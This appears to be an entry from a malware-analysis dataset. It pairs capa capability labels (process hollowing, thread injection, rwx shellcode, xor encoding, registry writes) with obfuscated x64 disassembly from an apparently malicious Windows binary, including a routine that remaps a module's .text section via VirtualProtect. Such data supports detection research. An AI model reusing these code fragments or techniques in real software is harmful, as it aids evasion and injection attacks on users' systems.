joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400647ab
Capabilities:
Set registry value

Disassembly:
push rdi
mov qword [rsp + 0x28], rsi
xor r9b, 3
jge 0x14007bb85
push r14
jo fcn.1400d2f98
push r12
movabs r12, 0xfd967e92fcb4581b
movsxd r9, r12d
add qword [rsp + 0x18], 0xfffffffffffce6c4
call fcn.1400d8816
add bpl, bpl
movzx rbp, bpl
lea rcx, [rcx + rbp + 0x1709e726]
call fcn.140008a58
mov rsi, qword [rsp + 0x18]
mov rsi, qword [rsi]
mov qword [rsp + 0x18], r10
call fcn.140087778
mov cl, 0x24
test al, 0xa1
xchg byte [ecx + 0x30b78a98], bh
mov ebp, 0x539e6c19
mov byte [rbp - 0x2f8efd9d], cl
mov al, 0xd9
invalid

Function at 0x140065a9d
Capabilities:
Encode data using xor

Disassembly:
mov r13b, r12b
add qword [rsp + 0x10], 0xcd42
push r10
push r12
movabs r10, 0xd63f67960a824986
call fcn.1400ad976

Function at 0x14006965b
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
movabs rbp, 0x46802886d9301194
pushfq
add qword [rsp + 0x30], 0xfffffffffffc2083
not rbp
mov qword [rsp + 0x38], rbx
neg rbp
jl 0x1400c9657
not bpl
call fcn.1400c50fa
cmpsb byte [rsi], byte [rdi]
push 0x31
add eax, 0x13150da2

Function at 0x14006a679
Capabilities:
Enumerate process modules

Disassembly:
lea r8, [r8 + r8*4 + 0x2213106]
je 0x140002d21
mov r8, qword [rsp + r8 - 0x22130f1]
add qword [rsp], 0xffffffffbff50b7e
call fcn.140081d9f

Function at 0x14006f02e
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
and r14b, 0x2a
bswap r11d
add r11, r11
mov r15d, 0x11319c00
jo 0x14007e13f
cmp r11w, r15w
lea rbx, [rbx + 0x7216a629]
movzx r11, r11w
sets r14b
ja 0x14008336f
cmovg r11d, r15d
add qword [rsp + r15*4 - 0x44c66ff8], 0xffffffffbff376d2
neg r11b
sub r14d, 0xf819e18d
xchg qword [rsp + r15*2 - 0x226337a0], rbx
mov r15, qword [rsp + r11*2 - 0x226337c0]
jae 0x140099b62
lea r12, [r14 + r12*2 - 0x1ef30458]
or r14w, 0x41b
mov r11, qword [rsp + r11*2 - 0x226337d8]
call fcn.140082b34
or r11d, 0x6193ef3f
movabs rbx, 0xd288b10a4212e51a
neg bl
add qword [rsp], 0xffffffffbffa63c9
shl r11d, 0x2f
test r15b, r11b
mov rbx, qword [rsp + 0x10]
mov rbx, qword [rbx]
jle 0x14006ce21
call fcn.1400b04b6
call fcn.1400c6f64
setns byte [rsp + 0x38]
jg fcn.1400bba8e
sub rdx, rdx
call fcn.1400cbed7
invalid
Function at 0x1400705a8
Capabilities:
Create a process with modified i/o handles and window
Execute shellcode via indirect call
Extract resource via kernel32 functions
Inject thread
Resolve function by parsing pe exports
Set registry value
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
mov r12, r9
shl qword [rsp + 0x38], 0x7b
jns 0x1400b319b
add byte [rax], al
add byte [rbx - 0x8e0d2fd], ch
ror byte [rsi - 0x75], cl
mov word [rdx + rdx - 0xf], cs
invalid
not edx
mov r9, qword [rsp + r9*2 - 0x42390eee]
not r12b
xor r12d, r12d
jb 0x1400c079d
jg 0x14009cbe9
movsx dx, byte [rsp + r12 + 0x55]
mov r12, qword [rsp + r12*8 + 0x20]
add qword [rsp + 8], 0xffffffffbffe1d8e
sub dword [rsp + 0x48], 0x15a2c896
xor word [rsp + 0x50], dx
jb 0x14009d278
sub word [rsp + 0x50], 0xeaa7
call fcn.1400d8057
mov ah, 0x2d
sbb dh, byte [rdi]
and dword [rbx + rbp*2], edx
mov dl, 0xfa
sti
add eax, 0x100e5ba4
sub eax, 0xbab33faa
jl 0x140066caa
invalid
lea r8, [rbx + rdx*4 - 0x56d71455]
mov rdx, qword [rsp + rbx - 0x6000ff5b]
mov rdx, qword [rdx + rbx - 0x6000ff83]
mov qword [rsp + 0x28], rbx
setl byte [rsp + 0x28]
mov qword [rsp + 0x28], r8
sub word [rsp + rbx - 0x6000ff5b], bx
movsx ebx, bx
sub word [rsp + 0x20], 0xe781
xor r8, r8
shl rbx, 0x7d
lea rdx, [rdx + rbx*8 + 0x26af5f2a]
js 0x140066cb1
test dword [rsp + r8 + 0x20], 0xa59d258f
call fcn.140014ce2
or r12w, r10w
call fcn.1400b2d84
invalid
lea rsi, [rsi - 0x42ed41]
not dil
jae 0x1400634f0
jno 0x1400cf49b
sbb byte [0x12873b177], bl
push 0x91ee701
add al, 0xf2
invalid
sub r14b, 0x21
call fcn.1400869dc
setae byte [rsp + 0x28]
movzx ebp, word [rsp + r10 - 0x3feffd6]
and qword [rsp + 0x28], r11
or r11d, 0xd1ac7b83
jo 0x140054040
mov rdx, qword [rsp + 0x18]
xor byte [rsp + 0x28], 0x85
call fcn.14009512c
cmp dword [rax], edi
invalid
neg byte [rsp + r13 - 0x4292667f]
call fcn.1400bef08
pushfq
call fcn.140011aa9
Function at 0x1400725fd
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
push r14
pushfq
movabs r14, 0x3d0649375b92848f
test r14w, 0xe51a
lea rsi, [rsi + 0x3713d53e]
jo 0x140002d06
add qword [rsp], 0x4d2c
push rsi
neg byte [rsp]
push r12
bswap esi
sub word [rsp + rsi*2 - 0x7f77488a], 0xa432
mov rbx, qword [rsp + rsi*2 - 0x7f774882]
mov rbx, qword [rbx + rsi - 0x3fbba449]
cmp dword [rsp + rsi*2 - 0x7f77488a], esi
mov r12, qword [rsp + rsi*2 - 0x7f77488a]
mov qword [rsp + rsi - 0x3fbba439], r12
movsx r12w, r12b
push r15
mov r15, r12
lea rbx, [rbx - 0x4940e543]
not r12
push rdi
setl byte [rsp + 0x20]
jno 0x140078047
mov dword [rdi - 0x5a], eax
cdq
test byte [rdx + 0x7b], al
loopne 0x140078031
and dword [rax], eax
invalid
jb 0x140078060
pop rdi
jmp 0x15693291b
invalid
movabs rdi, 0x27133984892f9a2f
jne 0x1400afd94
xchg edx, eax
jge 0x140077fe7
jnp 0x140078007
fistp qword [rbx]
invalid
jg 0x1400d7d41
xchg qword [rsp + r14 + 0x30], rdx
mov r8, qword [rsp + r14*8 + 0x18]
neg r9b
cmp r9d, 0x27a6d994
setge r14b
movabs rbp, 0x570595bdf5a4791b
lea rbp, [r9 + r9*8 + 0x5198d188]
mov rbp, qword [rsp + r14*2 - 2]
jne 0x140009910
push qword [rsp]
popfq
lea rsp, [rsp + 0x18]
ret
add qword [rsp + 0x20], 0xfffffffffffbd81e
neg word [rsp + rcx - 0x6fa8ffe7]
shr dword [rsp + 0x48], cl
mov rdx, qword [rsp + rcx - 0x6fa8ffe7]
mov r8, rcx
shr qword [rsp + rcx - 0x6fa8ffe7], cl
push r13
mov r15, qword [rsp + 0x50]
movzx dx, byte [rsp + r15*4 + 0x55]
shr byte [rsp + rdx*2 + 0x50], cl
mov rdx, qword [rsp + rcx - 0x6fa90007]
mov rdx, qword [rdx + r8 - 0x6fa9002f]
or cx, r15w
mov r13, qword [rsp + r15 + 0x50]
lea r8, [r8 + r15*8 - 0x36e6795b]
neg r15b
add r8d, 0x2ba9fc9a
test r15d, r13d
lea rdx, [rdx + r13 - 0x6e7ab8fb]
call fcn.1400dc91b
add r15d, dword [rsp + 0x29]
add r12d, 0xc2839cbd
mov r15, qword [rsp + 0x30]
add r12d, dword [rsp + 0x29]
call fcn.1400c4520
sub byte [rsp + 0x20], 0x14
xchg qword [rsp + 0x40], rbx
mov r12, qword [rsp + 0x10]
not r15b
seto sil
neg word [rsp + 0x20]
mov rsi, qword [rsp + 0x38]
setns byte [rsp + 0x20]
test word [rsp + 0x18], 0xfe11
bswap r15d
jne 0x1400b9178
mov r15, qword [rsp + r15 - 0x70ffa441]
and dil, 0x30
add dil, 0xd
je 0x140098c09
call fcn.1400a9553
lea rdi, [rdi + 0x28148b8f]
shr byte [rsp + 0x30], 0x2e
jne 0x140061300
cmp r11d, 0x5c2f6a80
not dl
push rdi
not qword [rsp + 0x10]
call fcn.1400c9d46

Function at 0x140073bd2
Capabilities:
Read file on windows

Disassembly:
push 0xffffffffdf92c284
pushfq
or dword [rsp + 8], 0xebbeeb2c
xor byte [rsp + 8], 0x8e
mov rdi, qword [rsp + 0x20]
push rdx
ja 0x14007abb5
add qword [rsp + 0x18], 0x39756
movabs rdx, 0x262c27ab4aa88631
bswap edx
call fcn.14008542a
Function at 0x140073dde
Capabilities:
Read file via mapping

Disassembly:
adc eax, 0x24868b
mov rbp, rax
test rax, rax
je 0x14000225e
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
test rax, rax
je 0x140002255
mov rcx, qword [rsp + 0x40]
movzx edi, r13w
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
cmp r13w, word [rbx + 6]
jae 0x140002255
movzx ecx, word [rbx + 0x14]
add rcx, rbx
movzx eax, di
lea rdx, [rax + rax*4]
lea r12, [rcx + rdx*8]
lea rcx, [r12 + 0x18]
lea rdx, str..text
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1400021ff
inc di
cmp di, word [rbx + 6]
jb 0x1400021cc
jmp 0x140002255
mov edi, dword [r12 + 0x24]
lea r9, [rsp + 0x2b0]
add rdi, qword [rsp + 0x40]
mov r8d, 0x40
mov ebx, dword [r12 + 0x20]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [r12 + 0x24]
mov r8d, ebx
add rdx, r15
mov rcx, rdi
call fcn.1400018b8
mov r8d, dword [rsp + 0x2b0]
lea r9, [rsp + 0x2b0]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
movzx r9d, r9w
mov r15d, 0xb6b50294
bswap r9
shr r15, 0xe7
jb 0x14000217c
mov r15d, 0xb01e473e
mov r15, qword [rsp + 0x50]
neg r9w
neg ecx
js 0x1400a0304
jns 0x14006a9e8
or ch, byte [rbx - 0x3ef32135]
sbb al, byte [rdi]
rol eax, 0x93
add dh, dl
ror ebp, cl
push rax
jnp 0x140073e54
cmp byte [rcx], ch
wait
stosd dword [rdi], eax
sahf
lodsb al, byte [rsi]
push rbp
jae 0x140073e7e
js 0x140073e02
cmp ah, byte [rdx - 0x3427b265]
loop 0x140073e7d
or dword [rbp + 0x54], ebx
ret
call 0x123f98779
out 0xb6, al
mov bl, 0xea
fbstp tbyte [rdi + 0x6f]
rcl byte [rdi - 0x65], cl
movabs byte [0x4a88731f5775bcab], al
mov edx, 0xeaf3c0e8
sub dword [rax - 0x56], ebx
adc dl, al
and byte [rdx], ah
mov dl, 0x61
or dl, ch
pop rcx
pop rcx
push rax
loop 0x140073ebb
or byte [rax - 0x37f755be], dl
stosb byte [rdi], al
movabs rcx, 0xd4dd6994c0d20280
adc dh, bl
int3
pop rdi
xor dl, byte [rax + 0x50]
mov edx, edx
jmp 0x140073ed7
jnp 0x140073f19
pop rcx
ja 0x140073efe
jrcxz 0x140073ef3
and byte [rdi + 0x43], dh
invalid
pop rbp
push rsp
cmp al, 0x72
push rdi
pop rdi
imul esi, dword [rbp + 0x37734830], 0x32
nop
cmp byte [r13 + 0x54], r11b
xor dl, byte [rax + 0x545d3847]
cmp al, 0x72
push rdi
fcompi st(3)
push rbx
invalid
jae 0x140073f77
push rsp
mov esp, 0xef217775
xchg esi, eax
sub al, 0x65
xor al, 0x44
mov ebx, esp
and esi, dword [rdi]
sub dword [rdi - 0x557a93bd], edi
xchg edx, eax
sbb byte [rsi], al
test al, 0x46
mov ch, 0x9b
loopne 0x140073ee6
push rdi
jl 0x140073fb1
push rdi
invalid
jg 0x140073f37
sbb eax, 0xea1ec8dc
mov r13d, edi
adc bh, byte [rcx + rax*4]
mov al, 0x1d
fmul st(0), st(0)
adc byte [rsi - 0x23e237fb], al
enter 0x6814, 0xffffffffffffff85
cli
push rbp
test al, 0x83
jae 0x140073fef
pop rdi
pop rdi
lodsb al, byte [rsi]
cmp al, 0x52
push rdi
mov dl, 0x55
test al, 3
hlt
sbb byte [rax], 0x3a
mov edx, 0x32cab8d9
cmp byte [r10 + 0x6200d86a], dil
invalid
cmp dh, bh
invalid
Function at 0x1400772b6
Capabilities:
Encode data using xor

Disassembly:
xchg ebx, eax
xor rcx, r13
mov qword [rsp + 0x20], r13
jae 0x14008050d
ja 0x140077280
invalid

Function at 0x140078e15
Capabilities:
Set registry value

Disassembly:
movabs r15, 0x903bfc9684b6fa2f
call fcn.140086d92
mov edi, 0x3d90263f
invalid

Function at 0x140078f86
Capabilities:
Set registry value

Disassembly:
sub qword [rsp + 0x38], 0xffffffff820f6b2c
and byte [rsp + 0x60], 0x89
shr byte [rsp + 0x60], 0xf1
call fcn.140007705
not r11
mov r11, qword [rsp + 0x28]
test byte [rsp + 0x20], 0x9f
je 0x140002581
and byte [rsp + 0x50], 0xbb
push qword [rsp + 0x40]
popfq
lea rsp, [rsp + 0x58]
ret

Function at 0x1400817d3
Capabilities:
Set registry value

Disassembly:
test bp, 0xda80
jb 0x140064575
shr dword [rsp + rdx + 0x396af318], 0x7c
mov rdx, qword [rsp + rbp + 0x396af310]
mov rdx, qword [rdx + rbp*2 + 0x72d5e610]
movsx bp, bpl
mov byte [rsp + rbp*2 + 0x72d40020], bpl
jbe 0x14008f992

Function at 0x140081809
Capabilities:
Set registry value

Disassembly:
push rdx
push rcx
movabs rcx, 0x7e019b3d9582c592
push rsi
call fcn.14002f7a0
and r11b, byte [rsp + 0x25]
jb 0x1400c1549
mov r12, qword [rsp + 0x30]
lea r11, [r11*4 - 0x7ef413eb]
je 0x14007cd9a
and r11, 0xffffffffbb34403b
and r11b, 0x16
not r11w
xor r11d, dword [rsp + 0x22]
mov r11, qword [rsp + 8]
call fcn.1400983b3
sti
xor ecx, dword [rdi + 0x19930522]
add dword [rax], eax
add byte [rax], al
sbb byte [rdx + 0xa], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax], ah
invalid
shr r13b, 0xe6
xchg qword [rsp + 0x48], rdx
mov r9, qword [rsp + 0x10]

Function at 0x1400827e6
Capabilities:
Set registry value

Disassembly:
lea rbp, [rbp + rdx*2 - 0x61c15ff6]
add edx, edx
jbe 0x140098859
call fcn.14005c909
mov r12, qword [rsp + 0x20]
jno 0x14000af2b

Function at 0x140082806
Capabilities:
Set registry value

Disassembly:
add qword [rsp + rbx - 0x42926697], 0xffffffffbff3e57e
call fcn.14006388e
mov rax, rbp
mov rax, qword [rsp + rbp*2 - 0xa0ac9d0]
mov rax, qword [rax + rbp - 0x5056500]
lea r13, [rbp + rcx*4 - 0xa4d134f]
bswap ebp
mov qword [rsp + rbp*2 - 0xca09da], rbp
js 0x1400881ef
call fcn.140050a99
pushfq
add bx, 0x88a8
shl bpl, 0x42
add r15, 0xffffffffaca6a137
xchg qword [rsp + 0x30], rsi
mov rbp, qword [rsp + 0x18]
shl bl, 0xc7
mov r10b, 0x95
shr rbx, 0xd6
jne 0x1400a0727
shl r12b, 0xbe
xor r12w, 0xa71d
jo 0x1400169a3
movzx r12d, r12w
add qword [rsp + r12*4 - 0x28c34], 0xffffffffbff4e536
lea rax, [rax + r12 - 0x7f42de68]
or byte [rsp + r12*2 - 0x1462a], r12b
setbe byte [rsp + r12*2 - 0x1462a]
call fcn.14005abc1
test r9w, 0x51a8
call fcn.14000820f
push rdx
call fcn.140092208
mov rbx, qword [rsp + 0x20]
lea r15, [r15 + r15*8 + 0x3383183b]
shr r15b, 0x46
shl r15, 0xa8
sets r10b
and r15b, r10b
mov r10, qword [rsp + 0x10]
ja fcn.14009a4a7
shl r15b, 0x6d
setne r15b
shr r15d, 0xbd
setae r15b
ja 0x140016344
call fcn.1400ca047
pop rdx
call fcn.140098de7
Function at 0x140082844
Capabilities:
Set registry value

Disassembly:
setge r12b
mov r11, qword [rsp + r12 - 0x429eb3e0]
mov r9, r11
add qword [rsp + r9 - 0x7ef408fc], 0x54cae
mov rbp, qword [rsp + r12 - 0x429eb3d0]
mov rbp, qword [rbp + r11 - 0x7ef40924]
shl byte [rsp + r12 - 0x429eb3e0], 0xfc
mov qword [rsp + r9 - 0x7ef408f4], r12
setne byte [rsp + r12 - 0x429eb3e0]
cmp r9w, 0x6393
call fcn.140010dba
sub rbx, qword [rsp + r11 + 0x494f6217]
mov r11d, ebx
mov r11, qword [rsp + 0x28]
call fcn.1400be942
and qword [rsp + 0x10], 0xffffffffcf2e38bd
mov rcx, qword [rsp + 0x10]
mov rcx, qword [rsp + 8]
mov r9, qword [rsp + 0x20]
mov qword [rsp + 0x20], rcx
jo 0x1400c1557
cmp dword [rsp + 0x10], 0xed3c5e02
jae 0x1400b55aa
add byte [rsp + 0x10], 0x23
jle 0x1400665d3
shr dword [rsp + 0x10], 0xf
shl qword [rsp + 0x10], 0xf2
add qword [rsp], 0x17743
mov rcx, qword [rsp + 0x10]
mov qword [rsp + 8], rcx
mov dword [rsp + 8], ecx
mov byte [rsp + 8], cl
push rdi
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov qword [rsp + 0x18], 0x5c9d3eb8
call fcn.1400d1d49
jle 0x140067355
mov qword [rsp + 0x18], rax
movabs r14, 0x788c5a8a6f319c2c
and r14d, 0x2f28d8b8
lea r14, [r14*8 + 0x150d9cb5]
shr r14b, 0xa5
lea r14, [rsi + riz + 0x106fab1]
shl si, 0x61
lea rsi, [rsi + r14 + 0x51944838]
cmp r14b, 0x9e
call fcn.1400a60cf

Function at 0x140083353
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
and rbp, rbp
mov byte [rsp + 0x18], 0x91
mov rbp, qword [rsp + 0x58]
shl qword [rsp + 0x38], 0xb4
and qword [rsp + 0x18], 0xffffffff9206dab2

Function at 0x14008414b
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
xchg qword [rsp + 0x30], rdi
mov r12, qword [rsp + 0x18]
add dl, dl
or edx, edx
bswap rdx
jo 0x1400a8c7b
call fcn.140099ba2

Function at 0x140086d0b
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
add dword [rsp + 0x80], 0x2c999a8d
shl word [rsp + 0x78], 0x3e
setne byte [rsp + 0x78]
call fcn.1400b55f3
test byte [rsp + 0x38], r15b
jge 0x1400724d5

Function at 0x140086d36
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jle 0x14009550d
push qword [rsp + 0x50]
popfq
lea rsp, [rsp + 0x58]
ret
Function at 0x14008a7a7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
setns byte [rsp + 0x28]
mov rdx, qword [rsp + 0x18]
mov rdx, qword [rdx]
mov qword [rsp + 0x18], 0xffffffffa133b8a8
sub byte [rsp + 0x28], 7
push rbx
mov dword [rsp + 0x20], 0xa334468a
setge byte [rsp + 0x30]
xor word [rsp + 0x20], 0x292f
lea rdx, [rdx - 0x13c7a55a]
mov rbx, qword [rsp + 0x30]
neg qword [rsp + 0x30]
push rcx
shr bx, 0x10
add bx, 0x1a6
push r15
xchg qword [rsp + 0x48], rdx
mov rbx, qword [rsp + 0x10]
movabs r15, 0xf5ac8329d6b1d913
shl r15b, 0xd6
not r15
js 0x1400020aa
add qword [rsp + 0x18], 0xffffffffbff935ce
movzx r15d, r15b
shr qword [rsp + r15*8 - 0x7c8], 0x34
mov r15, qword [rsp + r15 - 0xff]
sub word [rsp + 0x40], 0x3617
movabs rcx, 0x5d9fd50013104f1b
neg cx
seto byte [rsp + 0x30]
shl word [rsp + 0x30], 0x75
movsx cx, cl
cmp word [rsp + 0x40], cx
mov rcx, qword [rsp + 8]
call fcn.1400a3e05
add ebp, dword [rdx]
add byte [rcx + 0x32], dh
sal dword [rbx + 0x56], cl
push rsp
int1
bnd jrcxz 0x14008a893
cmp byte [rbx - 0x26], al
push rdx
jae 0x14008a8e5
test al, 0xb
js 0x14008a882
xlatb
pop rbx
jbe 0x14008a8ee
invalid
clc
in eax, 7
jo 0x14008a852
ficomp word [rbx + rax*8 - 0x59]
invalid
mov eax, 0xc19e5d39
pop rdx
xor dword [rbx + 0x57], 0x5f
pop rbp
sahf
rcr dword [rdx - 0x7d], 0x73
push rdi
pop rdi
jrcxz 0x14008a8e7
push rsp
out 0x67, al
or byte [rcx + 0x23470ed7], dl
rcr dword [edx + 3], 0x74
neg dword [rdi - 8]
mov bl, 0x51
ret

Function at 0x14008b918
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov byte [rsp + 0x50], 0xad
mov dil, 0x35
bswap r9d
mov rdi, qword [rsp + r9 - 0x4382e080]
cmp qword [rsp + r9 - 0x4382e050], 0x29253bba
ja 0x1400bdae5
invalid

Function at 0x140090229
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx]
jns 0x140058f96
or dword [rdi + 0x5a99e803], 0xd20ab096

Function at 0x14009023f
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
or dl, dl
lea rsi, [rsi + 1]
test edx, edx
je 0x140083786
jl fcn.1400579c3
and dl, 0x2a

Function at 0x140090291
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
mov r12, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
not dword [rsp + 0x18]
not r12w
jle 0x1400814ba

Function at 0x140092ddd
Capabilities:
Set registry value

Disassembly:
jne 0x1400b48cb
call fcn.140098de1
lea rax, [rax - 0x7458e44c]
mov r15w, word [rsp + 0x33]
bswap rcx
call fcn.140081dd9
or r15w, r15w
call fcn.1400c8801
xchg qword [rsp + 0x10], rbx
call fcn.1400a3741
jns 0x14006a169
cmp r11w, r9w
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
setge r9b
cmp r11d, 0x8e0aa42a
mov qword [rsp + 0x20], r14
lea rax, [rax + 0x3d80d307]
js 0x14006a23a
lea r14, [r9*8 - 0x185ed25b]
call fcn.1400dd942
Function at 0x140092ded
Capabilities:
Set registry value

Disassembly:
push rbp
mov rdx, qword [rsp + rdx - 0x7f09e809]
mov rdx, qword [rdx]
movabs rbp, 0x7e37ff0a791d2c29
shl bp, 0x24
add qword [rsp + 8], 0xffffffffbfff84c4
movsx ebp, bp
lea rbp, [rbp*4 - 0x1f5c4ec1]
add ebp, 0xdae5786
xor ebp, 0x532b7c29
or rbp, 0x54170db2
lea rdx, [rdx + rbp - 0x7df00323]
mov qword [rsp + 0x10], rbp
setle bpl
jae 0x1400a02d5

Function at 0x1400954cb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
pop rax
push rbx
movabs rbx, 0x6ab8ef8cd702890b
pushfq
shl bx, 0xab
sub rbx, 0x4ca915ba
jge 0x1400b5586
setge bl
xchg qword [rsp + 0x10], rax
or rbx, 0xffffffffdf39c221
neg rbx
push rsi
movabs rsi, 0x11e068891916cb3
push r14
mov rbx, qword [rsp + 0x18]

Function at 0x14009683c
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
push rdi
xchg qword [rsp + 0x28], rcx
movabs rdi, 0x19b9c903dfb65fbd
pushfq
test di, di
call fcn.1400dde03
push rdx
mov rdx, qword [rsp + rsi*2 + 0x41340010]
mov rdx, qword [rdx]
mov qword [rsp + rsi*2 + 0x41340010], r9
push r12
seta r9b
jo 0x1400bba72
add dword [rsp + 0x20], 0x89a06b31
xor qword [rsp + 0x18], 0x10b9b023
and dword [rsp + 0x20], r9d
lea rdx, [rdx + rsi*4 + 0x4a1cfb87]
mov r9, qword [rsp + rsi + 0x209a0038]
lea rsp, [rsp + rsi*2 + 0x41340040]
ret
not r8b
xor byte [rsp + 0x28], 0x9d
mov r8, qword [rsp + 0x38]
sub rdx, qword [rsp + 0x30]
not qword [rsp + 0x30]
call fcn.1400b54c9

Function at 0x14009bad9
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
mov rsi, qword [rsp + 0x28]
mov qword [rsp + 0x28], rcx
sete dl
jb fcn.14009439a
jle 0x1400b5509
shr dx, 0x38
sub dl, 0x92
or dl, 0x9d
jbe 0x1400cbcf8
and dl, 0x29
add qword [rsp + 0x20], 0xfffffffffffaa005

Function at 0x14009cbd4
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process
Use process replacement

Disassembly:
sub r9w, 0x9b27
and r9d, r12d
shl r9d, 0xca
mov rdi, r9
mov qword [rsp + 0x38], r9

Function at 0x14009e3ae
Capabilities:
Set registry value

Disassembly:
not r9b
jno 0x14002f7e0
Function at 0x1400a0a53
Capabilities:
Encode data using xor
Set registry value

Disassembly:
call fcn.1400c1516
mov r9, qword [rsp + 0x28]
add qword [rsp + 8], 0xffffffffbff65218
or dword [rsp + 0x18], 0xfd209dbf
and word [rsp + 0x18], 0x762b
add byte [rsp + 0x18], 0x2f
mov byte [rsp + 0x18], 0x9c
push qword [rsp + 0x30]
popfq
lea rsp, [rsp + 0x38]
ret
xor eax, eax
jmp 0x14002afa3
or eax, 0xffffffff
jmp 0x14002afa3
test edi, edi
jne 0x14002af9f
test ebx, ebx
je 0x14002af69
cmp ebx, 5
jne 0x14002af5d
call fcn.140025c04
mov dword [rax], 9
call fcn.140025c24
mov dword [rax], ebx
jmp 0x14002a8e7
call fcn.140056d74
mov ebx, eax
jmp 0x14002abdf
mov ecx, ebx
call fcn.140025c44
jmp 0x14002a8e7
lea rax, [0x140040800]
mov rax, qword [rax + r14*8]
test byte [r15 + rax + 8], 0x40
je 0x14002af87
cmp byte [r12], 0x1a
je 0x14002a8b5
call fcn.140025c04
mov dword [rax], 0x1c
call fcn.140025c24
and dword [rax], 0
jmp 0x14002a8e7
sub edi, ebp
mov eax, edi
mov rcx, qword [rsp + 0x1b20]
xor rcx, rsp
call fcn.1400291c0
mov rbx, qword [rsp + 0x1b88]
add rsp, 0x1b30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
jo 0x1400796c8
movabs r14, 0x233fde1823875229
lea rdi, [rdi + 0x3713d53e]
and qword [rsp + 0x10], 0x31162d26
xor qword [rsp + 0x10], rbx
add qword [rsp + 8], 0xffffffffbff911d6
xor si, word [rsp + 0x12]
cmovo esi, dword [rsp + 0x13]
xchg qword [rsp + 0x30], rdi
mov r14, qword [rsp]
jne 0x140092b14
add qword [rsp + r14 - 0x274a551a], 0xffffffffbff3dd50
mov r14, qword [rsp + r14 - 0x274a550a]
mov qword [rsp + 0x10], rcx
call fcn.140015460
lea rdx, [rdx + 1]
lea rcx, [rsi*4 - 0x74503cfb]
push r8
movabs r8, 0x4993f92003855880
shr cx, cl
jno 0x14002af51
lea rsi, [rsi + riz - 0x57e7f0ca]
movzx r8, r8b
mov qword [rsp + 0x40], rdx
call fcn.14008984f
movabs al, byte [0xda218c727307bacd]
xlatb
and dword [rbx + rbx*8 + 0xa], edi
cmp dl, byte [rbx - 0x4b]
jo 0x14007978e
xor ah, bh
stosd dword [rdi], eax
mov cs, word [rbp + rcx - 0x2b36f0ee]
mov bl, 0x4e
cli
xor eax, 0xf5fe25d4
xor eax, 0xf5fe25d4
push rsp
jne 0x140079723
invalid
imul ebx, ebx, 0x8dab822e
cmp byte [rbx + 8], ch
imul ebx, ebx, 0xc35c01e3
mov cl, 0x49
or edi, dword [rbx]
mov dword [rcx + 0x13], edx
and esp, eax
xchg ecx, eax
movabs byte [0xf2dfa3ec853dc9bb], al
wait
jb 0x1400797c6
xlatb
in al, dx
cwde
movabs dword [0x66fac82d31bd1c13], eax
fnstcw word [rcx + 0x6a19f1e6]
mov ah, 0xc8
out dx, al
invalid
enter 0x4aee, 0xffffffffffffffc5
popfq
jnp 0x1400797b5
jnp 0x140079808
mov ch, 0xec
invalid
sbb al, 0x5c
rcr dword [rcx - 9], cl
pop rdi
int1
mov bh, 0x75
retf
lea rbx, [rsi + rsi - 0x42eca289]
mov byte [rsp + 0x10], 0x97
shl bl, 0x96
mov bl, sil
mov rsi, qword [rsp + 0x18]
sub dword [rsp + 0x10], 0xc985dcb8
je 0x14001e349
xor rbx, qword [rsp + 0x10]
seto bl
not qword [rsp + 0x10]
not byte [rsp + 0x10]
call fcn.14001b510
xchg byte [rsi], ah
mov ebp, 0x846ead7d
xchg esp, eax
add r14w, 0x9c15
test r14w, r14w
jb 0x14004c603
ja 0x140063570
add qword [rsp], 0x39f46
shr r8w, 0xce
shl r11, 0x17
mov qword [rsp + 8], r11
or r8b, byte [rsp + 0xc]
mov rcx, r8
push r10
jle 0x1400c1427